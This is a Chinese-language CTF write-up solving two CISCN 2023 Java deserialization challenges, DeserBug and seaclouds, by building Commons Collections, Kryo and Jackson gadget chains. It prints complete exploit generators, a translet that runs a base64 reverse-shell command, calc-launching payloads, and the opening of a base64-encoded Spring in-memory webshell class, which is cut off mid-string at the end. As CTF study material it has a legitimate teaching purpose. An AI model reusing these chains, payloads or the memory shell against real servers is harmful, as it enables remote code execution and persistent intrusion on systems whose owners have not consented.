Java_Unser-重走八十一难

前言

以前java基础不牢,只能AWDP修一修,现在学的个七七八八了,还得刺刀见红。

以前做过几个java,但是基本都是抄exp,没有什么gadget的认知,这次重走八十一难,必证菩提金身。

[CISCN2023 初赛]-DeserBug

算我的java反序列化启蒙题之一。这道题是当年的初赛题目,现在看来难度不算太高。

hint:

1
cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

附件除了DeserBug环境jar包,还给了commons-collections-3.2.2和hutool-5.8.18的jar包。

值得注意的是CC链自3.2.1后新添加了checkUnsafeSerialization功能对反序列化内容进行检测,而CC链常用到的InvokerTransformer就列入了黑名单中。所以直接打CC链肯定不行。

而且题目提示了从cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept的部分gadget,那我们就却之不恭了。

首先看看题目啥玩意,Testapp.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.app;

import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Testapp {
public Testapp() {
}

public static void main(String[] args) {
HttpUtil.createServer(8888).addAction("/", (request, response) -> {
String bugstr = request.getParam("bugstr");
String result = "";
if (bugstr == null) {
response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
}

try {
byte[] decode = Base64.getDecoder().decode(bugstr);
ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
Object object = inputStream.readObject();
result = object.toString();
} catch (Exception var8) {
Exception e = var8;
Myexpect myexpect = new Myexpect();
myexpect.setTypeparam(new Class[]{String.class});
myexpect.setTypearg(new String[]{e.toString()});
myexpect.setTargetclass(e.getClass());

try {
result = myexpect.getAnyexcept().toString();
} catch (Exception var7) {
Exception ex = var7;
result = ex.toString();
}
}

response.write(result, ContentType.TEXT_PLAIN.toString());
}).start();
}
}

传参bugstr,值为base64编码后的序列化字节,打反序列化的位置也很显然,也没重写ObjectInputStream这种加WAF。

现在就只需要把链子分析出来就可以了。

前半缝合-CC6

根据题目提示,来到:

cn.hutool.json.JSONObject.put

image-20240813000442240

没啥特殊,就一个普通的键值对赋值。

其实可以结合CC链依赖想到CC6的lazymap.get()经典方法(其实CC3也是CC6改良而来的):

image-20240813002641896

不妨设想一下,如果

  • super.map是一个JSONObject
  • key无所谓
  • value是一个Transformer的子类,如ConstantTransformer

如其所示,只要iConstant是个Object,我们就能调用他的getter方法:

image-20240813003154650

只要令传入的map为JSONObject即可触发JSONObject#put,上面的分析已经得知value的值也是我们通过ConstantTransformer可控的,由此调用到它的getter方法。

那么这条链子的前半部分就通了(CC6):

1
2
3
4
5
6
7
8
ObjectInputStream#readObject() =>
HashSet#readObject() =>
HashMap#put() =>
HashMap#hash() =>
TiedMapEntry#hashCode() =>
TiedMapEntry#getValue() =>
LazyMap#get() =>
cn.hutool.json.JSONObject.put

后半缝合-CC3

看看另一个:

com.app.Myexpect#getAnyexcept

image-20240813000748313

使用一个构造器,触发对应类的newInstance()方法。

欸?这不CC3吗?能直接联想到TrAXFilter

LINK:Commons Collections - EddieMurphy’s blog (eddiemurphy89.github.io)

image-20240813001032892

这里用到TrAXFilter的构造方法,其实算是到CC3后半段,那么后续链子就有了:

1
2
3
4
5
6
com.app.Myexpect#getAnyexcept =>
TrAXFilter#TrAXFilter() =>
TemplatesImpl#newTransformer() =>
TemplatesImpl#getTransletInstance() =>
TemplatesImpl#defineTransletClasses() =>
TemplatesImpl$TransletClassLoader#defineclass()

接下来就是要找哪里调用了getAnyexcept,结合提示cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept其实也很简单。

完整链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream#readObject() =>
HashSet#readObject() =>
HashMap#put() =>
HashMap#hash() =>
TiedMapEntry#hashCode() =>
TiedMapEntry#getValue() =>
LazyMap#get() =>

cn.hutool.json.JSONObject.put =>
com.app.Myexpect#getAnyexcept =>

TrAXFilter#TrAXFilter() =>
TemplatesImpl#newTransformer() =>
TemplatesImpl#getTransletInstance() =>
TemplatesImpl#defineTransletClasses() =>
TemplatesImpl$TransletClassLoader#defineclass()

完美。

其实到这里也能发现,CC5也可以走,因为前半部分不受影响:

1
2
3
4
5
6
7
8
9
10
11
12
13
ObjectInputStream#readObject() =>
BadAttributeValueExpException#readObject() =>
TiedMapEntry#toString() =>
LazyMap#get() =>

cn.hutool.json.JSONObject.put =>
com.app.Myexpect#getAnyexcept =>

TrAXFilter#TrAXFilter() =>
TemplatesImpl#newTransformer() =>
TemplatesImpl#getTransletInstance() =>
TemplatesImpl#defineTransletClasses() =>
TemplatesImpl$TransletClassLoader#defineclass()

EXP

evil.class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.deserbug;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
static {
try {
Runtime.getRuntime().exec("bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

CC6+CC3-EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package com.deserbug;

import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class EXP_CC6_CC3 {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}

public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get(evil.class.getName()).toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "EddieMurphy");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{obj});

JSONObject entries = new JSONObject();
entries.put("aaa","bbb");
Transformer transformer = new ConstantTransformer(1);

Map innerMap = entries;
Map outerMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tme = new TiedMapEntry(outerMap, "k");

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
innerMap.clear();

setFieldValue(transformer, "iConstant", myexpect);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream output = new ObjectOutputStream(baos);
output.writeObject(expMap);
output.flush();
baos.flush();

byte[] data = baos.toByteArray();

String bugstr = URLEncoder.encode(Base64.getEncoder().encodeToString(data));
System.out.println(bugstr);
}
}

CC5+CC3-EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.deserbug;

import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class EXP_CC5_CC3 {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get(evil.class.getName()).toBytecode();
TemplatesImpl obj = new TemplatesImpl();

setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "EddieMurphy");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[] { Templates.class });
myexpect.setTypearg(new Object[] { obj });

JSONObject entries = new JSONObject();

LazyMap lazyMap = (LazyMap) LazyMap.decorate(entries, new ConstantTransformer(myexpect));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");

BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
setFieldValue(bad,"val",tiedMapEntry);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(bad);
oos.close();

byte[] byteArray = baos.toByteArray();
String encodedString = Base64.getEncoder().encodeToString(byteArray);
System.out.println(encodedString);
}
}

GET传参:

image-20240813010828414

[CISCN2023 西南]seaclouds

这道题非常具有代表性,打的是Kryo反序列化和Hessian原生JDK的POC。

刚把Kryo和Hessian学了就再来重温一下这道题目。

审计一下源码:

MessageController.java:

image-20240816151127498

访问根路由传参message,

那么它会解码一个硬编码的Base64字符串。如果message参数不为null,那么它会尝试解码该参数。如果解码失败,它会解码另一个硬编码的Base64字符串。

解码后的字节数组被传递给CodecMessageConvertertoMessage方法,该方法将字节数组转换为Message对象。然后,该方法返回Message对象的有效负载。

User.java:

image-20240816151153559

定义了一些setter和getter方法,

依赖有Kryo:

image-20240816151355223

那入手点就是:

1
2
3
CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
return messagecode.getPayload();

跟进toMessage方法:

image-20240816151643378

关键在decode,跟进AbstractKryoCodec#decode方法:

image-20240816155453265

再跟进到PojoCodec#deDecode方法:

image-20240816155525741

找到你了,Kryo.readObject()

回到前面的CodecMessageConverter,这里指定了解码的类型this.messageClassGenericMessage),

image-20240816152122326

最后MessageCodec#decode也返回了一个Message对象,所以后面构造的时候要用GenericMessage将payload封装起来,如:

1
2
3
GenericMessage genericMessage = new GenericMessage(hashMap);
byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));

跟进GenericMessage

image-20240816152901266

看到了前面最后返回的getPayload(),也可以说明我们反序列化得到的结果是个GenericMessage对象。

image-20240816152513832

几个老熟人了,基本上看到这些就能想到对应链子。

Spring依赖下,可以触发jacksonBaseJsonNode#toString,从而调用getter,而后为所欲为,至于如何调用toString,对于原生反序列化,走BadAttributeValueExpException最为方便,对于Field型的非原生反序列化,如果对于Map的反序列化过程有类似HashMap#put的实现,就可以考虑HotSwappableTargetSource利用链,这也是Kryo非原生反序列化链子的重要部分。

但是直接用Kryo链子套肯定不行,因为网上Kryo相关的攻击都是在Dubbo下利用的:

1
2
3
4
5
6
7
com.esotericsoftware.kryo#readClassAndObject ->
com.esotericsoftware.kryo.serializers#read ->
java.util.HashMap#put ->
org.springframework.aop.target.HotSwappableTargetSource#equals ->
com.sun.org.apache.xpath.internal.objects.XString ->
com.alibaba.fastjson.JSON#toString -> fastjson gadget
-> TemplatesImpl to load evil class

用的是从HotSwappableTargetSource套一层然后触发到fastjson#toString的gadget。

但fastjson是Dubbo自带的,本题没有这个依赖,也就是要找后半段链子来接上toString

根据题目提示用Hessian原生JDK去打(Hessian在那条链只充当source触发toString),这里用到的就是:

1
javax.activation.MimeTypeParameterList

整体链子是:

1
2
3
4
5
6
javax.activation.MimeTypeParameterList#toString
UIDefaults#get
UIDefaults#getFromHashTable
UIDefaults$LazyValue#createValue
SwingLazyValue#createValue
sun.reflect.misc.MethodUtil#invoke

具体的Hessian分析就免了,可以看:Hessian_Only_JDK | Java (gitbook.io)

我们对decode方法进行调试,发现它会进到kryo.readObject()中,也就是说这里可以触发kryo反序列化的打法,kryoHessian是一类的,都是基于Field机制,会进入到hashMap.put中,因此可以用Hessian的链子来打。

首先本地尝试下kryo的templatesImpl链子吧:

1
2
3
4
5
6
kyro#readObject() ->
hashMap#put() ->
HotSwappableTargetSource#equals() ->
Xstring#equals() ->
BaseJsonNode#toString() ->
templatesImpl#getOutputProperties()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "EddieMurphy");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

POJONode pojoNode = new POJONode(templates);
HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(1);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(2);

HashMap hashMap = new HashMap();
hashMap.put(hotSwappableTargetSource, "1");
hashMap.put(hotSwappableTargetSource1, "2");

setFieldValue(hotSwappableTargetSource, "target", pojoNode);
setFieldValue(hotSwappableTargetSource1, "target", new XString("a"));

CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
GenericMessage genericMessage = new GenericMessage(hashMap);
byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));

Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
messagecode.getPayload();
}

不出意外的报错了:

image-20240816161919403

报了Null指针异常,下个断点看看,虽然弹出calc了,但是实质上没有利用成功。

image-20240816162348967

因为调试进入后,你会发现即使给_factory赋值了,最终还是会变成null从而触发异常,因为_tfactorytransient修饰的,不能参与序列化和反序列化。而且前面也说过Kryo和Hessian类似,也有这个特点。

那么可以用二次反序列化,这样就无关_tfactory了。二次反序列化 - EddieMurphy’s blog (eddiemurphy89.github.io)

Gadget呼之欲出:

1
2
3
4
5
6
7
8
kyro#readObject() ->
hashMap#put() ->
HotSwappableTargetSource#equals() ->
Xstring#equals() ->
BaseJsonNode#toString() ->
SignedObject#getObject() ->
HashMap#readObject() ->
templatesImpl#getOutputProperties()

注意重写com.fasterxml.jackson.databind.node.BaseJsonNode,移除其writeReplace()方法,让Exp里的优先调用我们重写的方法,以顺利进行对象序列化,注意一下文件结构:

image-20240816170942916

测试一下,本地通了:

image-20240816171350935

补充下,这里用Hessian那些什么Spring AOP也是空指针异常,打不动。

开缝

整体调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
CodecMessageConverter
-> toMessage(decodemsg, ...)
this.codec.decode(decodemsg, ...)

AbstractKryoCodec
-> decode(decodemsg, ...)

PojoCodec
-> doDecode(...)

Kryo
-> readObject(...)

MapSerializer
-> read(...)
Map#put(hotSwappableTargetSource, ...)

HotSwappableTargetSource
-> equals(...)

XString
-> equals(pojoNode)

BaseJsonNode
-> toString()
InternalNodeMapper#nodeToString(this)

SignedObject
-> getObject()
a.readObject()

BadAttributeValueExpException
-> readObject()
valObj.toString()

BaseJsonNode
-> toString()
InternalNodeMapper#nodeToString(this)

TemplatesImpl
-> getOutputProperties()

...

EXP

其实上面Test就是EXP,这里还是象征性给一下吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package com.eddiemurphy;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;

import java.io.IOException;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;


public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_name","EddieMurphy");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{getTemplates()});

POJONode pojoNode=new POJONode(templates);
HotSwappableTargetSource hotSwappableTargetSource=new HotSwappableTargetSource(1);
HotSwappableTargetSource hotSwappableTargetSource1=new HotSwappableTargetSource(2);
HashMap hashMap=new HashMap();

hashMap.put(hotSwappableTargetSource,"1");
hashMap.put(hotSwappableTargetSource1,"2");
setFieldValue(hotSwappableTargetSource,"target",pojoNode);
setFieldValue(hotSwappableTargetSource1,"target",new XString("a"));

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));

POJONode pojoNode1=new POJONode(signedObject);
HotSwappableTargetSource hotSwappableTargetSource2=new HotSwappableTargetSource(3);
HotSwappableTargetSource hotSwappableTargetSource3=new HotSwappableTargetSource(4);

HashMap hashMap1=new HashMap();
hashMap1.put(hotSwappableTargetSource2,"1");
hashMap1.put(hotSwappableTargetSource3,"2");

setFieldValue(hotSwappableTargetSource2,"target",pojoNode1);
setFieldValue(hotSwappableTargetSource3,"target",new XString("b"));

CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
GenericMessage genericMessage = new GenericMessage(hashMap1);
byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
System.out.println(Base64.getEncoder().encodeToString(decodemsg));

//反序列化
//Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
//messagecode.getPayload();
}

public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
}

但遗憾的是题目不出网,本地虽然出网也打不了反弹shell。

那么这里就要写个内存马进去了。

也很简单,直接用存的一个Spring马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package com.eddiemurphy;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.support.GenericMessage;

import java.io.IOException;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;

public class Exp {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
String s="yv66vgAAADQAzQoANQBOCABPCwAqAFAIAFEKAFIAUwoACQBUCABVCgAJAFYHAFcIAFgIAFkIAFoIAFsKAFwAXQoAXABeCgBfAGAHAGEKABEAYggAYwoAEQBkCgARAGUKABEAZggAZwsAKwBoCgBpAGoKAGkAawoAbABtCABuCwBvAHAHAHEHAHILAB4AcwoAdAB1CAB2CgApAHcKAHgAeQoAeAB6BwB8BwB/CAA6BwCABwCBBwCCCgApAIMIAIQKAHsAhQsAhgCHCwCGAIgKACcATgoAHwCJBwCKCgAzAIsHAIwBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAFc2hlbGwBAFIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWAQANU3RhY2tNYXBUYWJsZQcAVwcAjQcAjgcAYQcAfwcAgQcAggEACkV4Y2VwdGlvbnMHAI8BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAJABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4HAIoBAApTb3VyY2VGaWxlAQANTWVtU2hlbGwuamF2YQwANgA3AQADY21kDACRAJIBAAdvcy5uYW1lBwCTDACUAJIMAJUAlgEAA3dpbgwAlwCYAQAQamF2YS9sYW5nL1N0cmluZwEAAnNoAQACLWMBAAdjbWQuZXhlAQACL2MHAJkMAJoAmwwAnACdBwCeDACfAKABABFqYXZhL3V0aWwvU2Nhbm5lcgwANgChAQACXEEMAKIAowwApAClDACmAJYBAAAMAKcAqAcAqQwAqgCrDACsADcHAK0MAK4ArwEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAsAwAsQCyAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nDACzALQHALUMALYAtwEABmNvbmZpZwwAuAC5BwC6DAC7ALwMAL0AvgcAvwEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb24BABRCdWlsZGVyQ29uZmlndXJhdGlvbgEADElubmVyQ2xhc3NlcwEACE1lbVNoZWxsAQAPamF2YS9sYW5nL0NsYXNzAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDADAAMEBAAYvc2hlbGwMAMIAxAcAxQwAxgDHDADIAMkMAMoAywEAE2phdmEvbGFuZy9FeGNlcHRpb24MAMwANwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldEJlYW4BACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7AQAQamF2YS9sYW5nL09iamVjdAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABXBhdGhzAQAHQnVpbGRlcgEAXChbTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvJEJ1aWxkZXI7AQBFb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAHb3B0aW9ucwEAnShMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyQ29uZmlndXJhdGlvbjspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAAVidWlsZAEAQSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQAPcmVnaXN0ZXJNYXBwaW5nAQBuKExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvO0xqYXZhL2xhbmcvT2JqZWN0O0xq